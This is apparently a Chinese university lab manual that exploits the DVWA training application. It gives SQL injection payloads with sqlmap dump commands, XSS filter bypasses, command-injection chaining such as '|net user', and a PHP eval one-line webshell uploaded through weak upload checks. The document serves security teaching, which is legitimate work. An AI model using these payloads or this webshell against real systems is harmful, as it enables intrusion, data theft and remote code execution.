'or1=1orderby3#,查询失败。说明执行的SQL查询语句中只有两个字段,即这里的Firstname、Surname。确定显示的字段顺序输入1'unionselect1,2#,查询成功。说明查询1字段的结果会在Firstname出回显,查询2字段的结果会在Surname出回显。获取当前数据库输入1'unionselect1,database()#,查询成功:获取数据库中的表输入1'unionselect1,group_concat(table_name)frominformation_schema.tableswheretable_schema=database()#,查询成功:获取表中的字段名输入1'unionselect1,group_concat(column_name)frominformation_schema.columnswheretable_name='users'#,查询成功:下载数据输入1'or1=1unionselectgroup_concat(user_id,first_name,last_name),group_concat(password)fromusers#,查询成功:SQL注入-MediumDVWA1.9的代码分为四种安全级别:Low,Medium,High,Impossible。选择Medium安全级别。Medium级别的代码利用mysql_real_escape_string函数对特殊符号\x00,\n,\r,\,',",\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。2. 在浏览器“设置”—“高级”—“更改代理服务器设置”中配置代理,代理地址为,端口为8080。 打开桌面burpsuite文件夹,点击“burp-load-keygen.jar”,运行burpsuite软件,配置burpsuite代理。判断是否存在注入,注入是字符型还是数字型通过抓包改参数,提交恶意构造的查询参数。抓包更改参数id为1'or1=1#点击【Forword】放行数据包后,查看浏览器返回信息,发现报错:重新抓包更改参数,将id修改为1or1=1#,点击【Forward】,返回浏览器查看结果,查询成功。说明存在数字型注入。猜解SQL查询语句中的字段数抓包更改参数id为1orderby2#,查询成功:抓包更改参数id为1orderby3#,出现报错,说明存在两个字段。确定显示的字段顺序抓包更改参数id为1unionselect1,2#,查询成功。说明执行的SQL语句为selectFirstname,Surnamefrom表whereID=id...。获取当前数据库抓包更改参数id为1unionselect1,database()#,查询成功。说明当前的数据库为dvwa。获取数据库中的表抓包更改参数id为1unionselect1,group_concat(table_name)frominformation_schema.tableswheretable_schema=database()#,查询成功:获取表中的字段名抓包更改参数id为1unionselect1,group_concat(column_name)frominformation_schema.columnswheretable_name=’users’#,查询失败: 这是因为单引号被转义了,变成了\’。可以利用16进制进行绕过,抓包更改参数id为1unionselect1,group_concat(column_name)frominformation_schema.columnswheretable_name=0x7573657273#,查询成功。说明users表中有8个字段,分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。下载数据抓包修改参数id为1or1=1unionselectgroup_concat(user_id,first_name,last_name),group_concat(password)fromusers#,查询成功。这样就得到了users表中所有用户的user_id,first_name,last_name,password的数据。SQL注入-HighDVWA1.9的代码分为四种安全级别:Low,Medium,High,Impossible。选择High安全级别。High级别的代码只是在SQL查询语句中添加了LIMIT1,希望以此控制只输出一个结果。漏洞利用虽然添加了LIMIT1,但是我们可以通过#将其注释掉。由于手工注入的过程与Low级别基本一样,直接最后一步演示下载数据。输入:1'or1=1unionselectgroup_concat(user_id,first_name,last_name),group_concat(password)fromusers#查询成功:需要特别提到的是,High级别的查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。sqlmap的使用利用sqlmap对sql注入进行利用,双击sqlmap快捷键,进入命令窗口,键入sqlmap.py可以看到sqlmap的启动界面以Low级别SQL注入为例,输入参数1,获取url为“/DVWA/vulnerabilities/sqli/?/id=1&Submit=Submit#”,在sqlmap软件窗口中键入sqlmap.py-u"/DVWA/vulnerabilities/sqli/?/id=1&Submit=Submit#"进行注入测试。发现网站需要登录,所以在进行测试的时候需要加上cookie。在页面右键检查页面。可在Network中找到cookie值。键入sqlmap.py-u"/DVWA/vulnerabilities/sqli/?/id=1&Submit=Submit#"--cookie="security=low;PHPSESSID=vp85jg4o3lb509u7ajuecefpd6"--batch。成功注入识别到数据库为MySQL。继续读取数据库信息,使用”--dbs”参数,列出所有数据库名,可以看到有dvwa库。sqlmap.py-u"/DVWA/vulnerabilities/sqli/?/id=1&Submit=Submit#"--cookie="security=low;PHPSESSID=vp85jg4o3lb509u7ajuecefpd6"--batch--dbs继续读取数据库dvwa库的表信息,使用“-D”参数指定数据库查询,使用“--tables”参数,列出dvwa数据库中所有表名,可以看到有guestbook、users表。sqlmap.py-u"/DVWA/vulnerabilities/sqli/?/id=1&Submit=Submit#"--cookie="security=low;PHPSESSID=vp85jg4o3lb509u7ajuecefpd6"--batch-Ddvwa--tables继续读取数据库users表信息,使用“-D”参数指定数据库,使用“-T”参数指定表,使用“--columns”参数列出所有字段的名字,可以看到有不同的列信息。sqlmap.py-u"/DVWA/vulnerabilities/sqli/?/id=1&Submit=Submit#"--cookie="security=low;PHPSESSID=vp85jg4o3lb509u7ajuecefpd6"--batch-Ddvwa-Tusers--columns继续查询数据。使用“-C”参数指定查询字段内容,使用“--dump”参数将查询的内容打印出来。sqlmap.py-u"/DVWA/vulnerabilities/sqli/?/id=1&Submit=Submit#"--cookie="security=low;PHPSESSID=vp85jg4o3lb509u7ajuecefpd6"--batch--dump-C"user_id,user,password"-T"users"-D"dvwa"总结与思考实训总结这部分内容是关于SQL注入的操作过程,主要内容包括:GET方式的SQL注入利用方式POST方式的SQL注入利用方式利用sqlmap工具进行SQL注入思考题问题1:在SQL注入语句中#号起到了什么作用?问题2:除了#号,还可以利用哪些字符达到注释的作用?XSS攻击实训说明实训目的1.掌握反射型XSS的原理和利用方法2.掌握存储型XSS的原理和利用方法3.掌握XSS渗透的基本流程背景知识1.掌握XSS的基本原理2.掌握XSS的分类和判断3.掌握XSS的基本防御实习时长2个学时实训环境Win7虚拟机。实训器材Win7虚拟机。网络结构Win7虚拟机(33)本实验中,请实验老师根据学校组网与实验环境分配IP。实训内容实训准备启动Windows7虚拟机。输入密码【shiyan】登录系统。启动phpstudy,打开Apache和MySQL服务。登录DVWA,在浏览器输入/DVWA/login.php,转到DVWA的登录页面,使用用户名admin,密码111111进行登录。反射型XSS1. DVWA1.9的代码分为四种安全级别:Low,Medium,High,Impossible。选择安全“Low”级别。2. 反射型XSS-Low服务器端核心代码如下,可以看到,代码直接引用了name参数,并没有任何的过滤与检查,存在明显的XSS漏洞。输入<script>alert(/xss/)</script>,成功弹框:2. 反射型XSS-Medium服务器端核心代码如下,可以看到,这里对输入进行了过滤,基于黑名单的思想,使用str_replace函数将输入中的<script>删除。输入<ScRipt>alert(/xss/)</script>,大小写混淆绕过,成功弹框:3. 反射型XSS-High服务器端核心代码如下,可以看到,High级别的代码同样使用黑名单过滤输入,preg_replace()函数用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效。虽然无法使用<script>标签注入XSS代码,但是可以通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码。输入<imgsrc=1onerror=alert(/xss/)>,成功弹框:存储型XSS1. DVWA1.9的代码分为四种安全级别:Low,Medium,High,Impossible。选择“Low”安全级别。2. 存储型XSS-Low服务器端核心代码如下,可以看到,对输入并没有做XSS方面的过滤与检查,且存储在数据库中,因此这里存在明显的存储型XSS漏洞。trim(string,charlist):函数移除字符串两侧的空白字符或其他预定义字符,预定义字符包括、\t、\n、\x0B、\r以及空格,可选参数charlist支持添加额外需要删除的字符。mysql_real_escape_string(string,connection):函数会对字符串中的特殊符号(\x00,\n,\r,\,',",\x1a)进行转义。stripslashes(string):函数删除字符串中的反斜杠。message一栏输入<script>alert(/xss/)</script>,成功弹框。2. 存储XSS-Medium服务器端核心代码如下,可以看到,可以看到,由于对message参数使用了htmlspecialchars函数进行编码,因此无法再通过message参数注入XSS代码,但是对于name参数,只是简单过滤了<script>字符串,仍然存在存储型的XSS。strip_tags()
函数剥去字符串中的
HTML、XML
以及
PHP
的标签,但允许使用<b>标签。addslashes()
函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。双写绕过:抓包改name参数为<sc<script>ript>alert(/xss/)</script>:大小写混淆绕过:抓包改name参数为<Script>alert(/xss/)</script>:3. 存储型XSS-High服务器端核心代码如下,可以看到,可以看到,这里使用正则表达式过滤了<script>标签,但是却忽略了img、iframe等其它危险的标签,因此name参数依旧存在存储型XSS。抓包改name参数为<imgsrc=1onerror=alert(1)>:DOM型XSS1. DVWA1.9的代码分为四种安全级别:Low,Medium,High,Impossible。选择“Low”安全级别。2. DOM型XSS-Low从源代码可以看出,这里low级别的代码没有任何的保护性措施!对default参数没有进行任何的过滤由于QQ浏览器做了防护,DOM型XSS使用IE浏览器进行实验。将default的参数English替换为<script>alert('xss')</script>,出现了弹窗。3. DOM型XSS-Medium服务器端核心代码如下,可以看到medium级别的代码先检查了default参数是否为空,如果不为空则将default等于获取到的default值。这里还使用了stripos用于检测default值中是否有<script,如果有的话,则将default=English。输入<imgsrc=1οnerrοr=('xss')>,没有弹框:查看源代码,发现我们的语句被插入到了value值中,但是并没有插入到option标签的值中,所以img标签并没有发起任何作用。所以我们得先闭合前面的标签,我们构造语句闭合option标签:></option><imgsrc=1οnerrοr=alert('xss')>,但是我们的语句并没有执行,于是我们查看源代码,发现我们的语句中只有>被插入到了option标签的值中,因为</option>闭合了option标签,所以img标签并没有插入。继续构造语句去闭合select标签,</option></select><imgsrc=1onerror=alert(/xss/)>4. DOM型XSS-High服务器端核心代码如下,可以看到白名单“只允许”传的“default值”为French、English、German、Spanish其中一个。由于form表单提交的数据想经过JS过滤所以注释部分的javascript代码不会被传到服务器端(也就符合了白名单的要求)。/dvwa/vulnerabilities/xss_d/?default=English#<script>alert(/xss/)</script>总结与思考实训总结这部分内容是关于XSS攻击的操作过程,主要内容包括:反射型XSS的利用方式存储型XSS的利用方式DOM型XSS的利用方式思考题问题1:XSS注入中主要有哪些限制?问题2:XSS过滤只针对输入信息过滤有效吗?命令注入实训说明实训目的1.掌握命令注入漏洞利用的常见命令。2.掌握命令注入相关的危险函数。3.掌握利用攻击代码获得目标主机shell。背景知识1.掌握命令注入的基本原理。2.掌握命令注入的分类和判断。3.掌握命令注入的基本防御。实习时长2个学时实训环境实训器材Win7虚拟机网络结构Win7虚拟机(33)本实验中,请实验老师根据学校组网与实验环境分配IP。实训内容实训准备启动Windows7虚拟机。输入密码【shiyan】登录系统。启动phpstudy,打开Apache和MySQL服务。登录DVWA,在浏览器输入/DVWA/login.php,转到DVWA的登录页面,使用用户名admin,密码111111进行登录。命令注入-LowDVWA1.9的代码分为四种安全级别:Low,Medium,High,Impossible。选择Low安全级别。服务器端代码,可以看到,服务器通过判断操作系统执行不同ping命令,但是对ip参数并未做任何的过滤,导致了严重的命令注入漏洞。stristr(string,search,before_search)stristr函数搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分(从匹配点),如果未找到所搜索的字符串,则返回FALSE。参数string规定被搜索的字符串,参数search规定要搜索的字符串(如果该参数是数字,则搜索匹配该数字对应的ASCII值的字符),可选参数before_true为布尔型,默认为"false",如果设置为"true",函数将返回search参数第一次出现之前的字符串部分。php_uname(mode)这个函数会返回运行php的操作系统的相关描述,参数mode可取值“a”(此为默认,包含序列“snrvm”里的所有模式),“s”(返回操作系统名称),“n”(返回主机名),“r”(返回版本名称),“v”(返回版本信息),“m”(返回机器类型)。Windows通过&&来执行多条命令,执行&&whoami。输出两条命令的结果。命令注入-MediumDVWA1.9的代码分为四种安全级别:Low,Medium,High,Impossible。选择Medium安全级别。服务器端代码,可以看到,相比Low级别的代码,服务器端对ip参数做了一定过滤,即把“&&”、“;”删除,本质上采用的是黑名单机制,因此依旧存在安全问题。因为被过滤的只有“&&”与“;”,所以“&”不会受影响。执行&whoami。输出两条命令的结果。Command1&&Command2:先执行Command1,执行成功后执行Command2,否则不执行Command2;Command1&Command2:先执行Command1,不管是否成功,都会执行Command2。由于使用的是str_replace把“&&”、“;”替换为空字符,因此可以采用以下方式绕过:&;&ipconfig。因为“&;&ipconfig”中的“;”会被替换为空字符,这样一来就变成了“&&ipconfig”,会成功执行。命令注入-HighDVWA1.9的代码分为四种安全级别:Low,Medium,High,Impossible。选择High安全级别。服务器端代码,可以看到,相比Medium级别的代码,High级别的代码进一步完善了黑名单,但由于黑名单机制的局限性,我们依然可以绕过。黑名单看似过滤了所有的非法字符,但仔细观察到是把“|”替换为空字符,于是“|”成了“漏网之鱼”。执行|netuser,输出两条命令的结果。Command1|Command2:“|”是管道符,表示将Command1的输出作为Command2的输入,并且只打印Command2执行的结果。总结与思考实训总结这部分内容是关于命令注入的操作过程,主要内容包括:命令注入的相关函数命令注入的利用方式命令注入的绕过方法思考题问题1:命令注入连接命令&&netuser的输出?问题2:命令注入连接命令&netuser的输出?问题3:命令注入连接命令||netuser的输出?问题4:命令注入连接命令|netuser的输出?文件上传实训说明实训目的1.掌握常见文件上传的绕过方式。2.掌握文件上传的解析漏洞。3.掌握利用文件上传获得webshell的步骤。背景知识1.掌握文件上传的基本原理。2.掌握文件上传的分类和判断。3.掌握文件上传的基本防御。实习时长2个学时实训环境实训器材Win7虚拟机网络结构Win7虚拟机(33)本实验中需要依赖网络,请实验老师根据学校组网与实验环境分配IP,使学员能够访问Win7虚拟机即可,实验环境ip以实际网络为准。实训内容实训准备启动Windows7虚拟机。输入密码【shiyan】登录系统。启动phpstudy,打开Apache和MySQL服务。登录DVWA在浏览器输入/DVWA/login.php,转到DVWA的登录页面,使用用户名admin,密码111111进行登录。文件上传-LowDVWA1.9的代码分为四种安全级别:Low,Medium,High,Impossible。选择Low安全级别。可以看到,服务器对上传文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,生成上传路径后,服务器会检查是否上传成功并返回相应提示信息。文件上传漏洞的利用是有限制条件的,首先当然是要能够成功上传木马文件,其次上传文件必须能够被执行,最后就是上传文件的路径必须可知。不幸的是,这里三个条件全都满足。上传文件hack.php(一句话木马),代码如下。<?php@eval($_POST['hack']);?>所有的字符串串放入到eval()中,eval()会把字符串解析为php代码进行执行,结合$_POST['hack'],只要使用post传输时在hack的值中写入任何字符串,都可以当做php代码执行。上传成功并回显了hack.php的文件路径。打开中国菜刀(Cknife.jar),右键添加,地址栏填入上传文件所在路径/DVWA/hackable/uploads/hack.php。访问关键字为hack,脚本类型为php,编码为GB2312。中国菜刀会通过向服务器发送包含hack参数的post请求,在服务器上执行任意命令,获取webshell权限。文件上传-MediumDVWA1.9的代码分为四种安全级别:Low,Medium,High,Impossible。选择Medium安全级别。Medium级别的代码对上传文件的类型、大小做了限制,要求文件类型必须是jpeg或者png,大小不能超过100000B(约为97.6KB)。将hack.php改名为hack.png提交后,使用burpsuite拦截请求,重新把文件名修改为hack.php。上传成功。文件上传-HighDVWA1.9的代码分为四种安全级别:Low,Medium,High,Impossible。选择High安全级别。可以看到,High级别的代码读取文件名中最后一个“.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是“*.jpg”、“*.jpeg”、“*.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型。strrpos(string,find,start)查找find字符在string字符中的最后一次出现的位置,start参数可选,表示指定从哪里开始。substr(string,start,length)返回string字符中从start开始的字符串,length参数可选,表示返回字符的长度。strtolower(string)返回给定字符串的小写。getimagesize(string):函数将测定任何GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,I
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 新高考数学二轮复习讲义+分层训练专题21 等差数列与等比数列专项训练(原卷版)
- 收银人员合同范本
- 轮胎更换合同范本
- 《一株水华曲壳类硅藻的系统分类及其生长特性研究》
- 小学教育学 习题答案 项目七
- 《肺炎支原体感染患儿SAA、CRP、PCT血清水平和免疫功能的变化及意义》
- 《喉罩通气用于DSA室老年脑动脉瘤患者介入治疗的安全性研究》
- 《不同形貌Rh纳米晶的微波辅助合成及催化性能研究》
- 《龙山土家语声调实验研究》
- 买方采购合同范本
- 港口项目商业计划书
- 皮带机基础知识培训讲义
- 小学六年级数学100道题解分数方程
- 保洁服务应急响应能力预案
- 红外耳温计黑体校准规范
- 危重症患者护理与评估
- 危险化学品仓储智能化管理系统
- 消化内镜健康宣教课件
- 铁道运输职业生涯规划书
- 天津美术馆分析报告
- 《PLC技术基础、PLC技术及应用》期末考试B卷
评论
0/150
提交评论